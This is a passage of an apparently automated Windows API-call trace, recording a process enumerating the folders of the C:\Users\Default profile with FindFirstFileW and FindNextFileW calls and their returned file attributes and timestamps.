ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x5d42963, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0172.742] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d42963, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x5d42963, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0172.742] GetLastError () returned 0x12 [0172.743] FindClose (in: hFindFile=0xa1b738 | out: hFindFile=0xa1b738) returned 1 [0172.743] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f654c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName=".", cAlternateFileName="")) returned 0xa1b738 [0172.745] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0172.745] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.745] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f654c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="..", cAlternateFileName="")) returned 1 [0172.745] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0172.745] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.745] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d42963, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x5d42963, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0172.745] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d42963, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x5d42963, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0172.745] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d42963, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x5d42963, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0172.745] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d42963, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x5d42963, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0172.745] GetLastError () returned 0x12 [0172.745] FindClose (in: hFindFile=0xa1b738 | out: hFindFile=0xa1b738) returned 1 [0172.746] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f66782, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0172.746] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0172.746] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.746] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f66782, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName=".", cAlternateFileName="")) returned 0xa1b9a0 [0172.747] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f66782, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="..", cAlternateFileName="")) returned 1 [0172.747] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f66782, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="..", cAlternateFileName="")) returned 0 [0172.747] GetLastError () returned 0x12 [0172.747] FindClose (in: hFindFile=0xa1b9a0 | out: hFindFile=0xa1b9a0) returned 1 [0172.747] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f66782, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName=".", cAlternateFileName="")) returned 0xa1b818 [0172.747] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0172.747] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.747] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f66782, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="..", cAlternateFileName="")) returned 1 [0172.747] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0172.747] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.747] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f66782, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="..", cAlternateFileName="")) returned 0 [0172.747] GetLastError () returned 0x12 [0172.747] FindClose (in: hFindFile=0xa1b818 | out: hFindFile=0xa1b818) returned 1 [0172.748] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb8e09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0172.748] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0172.748] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.748] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb8e09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName=".", cAlternateFileName="")) returned 0xa1b9a0 [0172.750] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb8e09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="..", cAlternateFileName="")) returned 1 [0172.750] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb8e09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="..", cAlternateFileName="")) returned 0 [0172.750] GetLastError () returned 0x12 [0172.750] FindClose (in: hFindFile=0xa1b9a0 | out: hFindFile=0xa1b9a0) returned 1 [0172.750] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb8e09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName=".", cAlternateFileName="")) returned 0xa1b9a0 [0172.751] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0172.751] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.751] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb8e09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="..", cAlternateFileName="")) returned 1 [0172.751] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0172.751] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.751] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb8e09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="..", cAlternateFileName="")) returned 0 [0172.751] GetLastError () returned 0x12 [0172.751] FindClose (in: hFindFile=0xa1b9a0 | out: hFindFile=0xa1b9a0) returned 1 [0172.751] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb994f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0172.751] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0172.751] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.751] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb994f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName=".", cAlternateFileName="")) returned 0xa1b9a0 [0172.751] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb994f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="..", cAlternateFileName="")) returned 1 [0172.751] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb994f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="..", cAlternateFileName="")) returned 0 [0172.751] GetLastError () returned 0x12 [0172.751] FindClose (in: hFindFile=0xa1b9a0 | out: hFindFile=0xa1b9a0) returned 1 [0172.752] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb994f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName=".", cAlternateFileName="")) returned 0xa1b9a0 [0172.752] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0172.752] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.752] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb994f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="..", cAlternateFileName="")) returned 1 [0172.752] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0172.752] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.752] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb994f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="..", cAlternateFileName="")) returned 0 [0172.752] GetLastError () returned 0x12 [0172.752] FindClose (in: hFindFile=0xa1b9a0 | out: hFindFile=0xa1b9a0) returned 1 [0172.752] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0172.752] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbaa63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0172.752] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0172.752] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.752] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbaa63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName=".", cAlternateFileName="")) returned 0xa1b9a0 [0172.754] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbaa63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="..", cAlternateFileName="")) returned 1 [0172.754] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbaa63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="..", cAlternateFileName="")) returned 0 [0172.754] GetLastError () returned 0x12 [0172.754] FindClose (in: hFindFile=0xa1b9a0 | out: hFindFile=0xa1b9a0) returned 1 [0172.754] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbaa63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName=".", cAlternateFileName="")) returned 0xa1b738 [0172.754] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0172.754] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.754] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbaa63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="..", cAlternateFileName="")) returned 1 [0172.754] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0172.754] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.754] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbaa63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="..", cAlternateFileName="")) returned 0 [0172.755] GetLastError () returned 0x12 [0172.755] FindClose (in: hFindFile=0xa1b738 | out: hFindFile=0xa1b738) returned 1 [0172.755] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x2416, 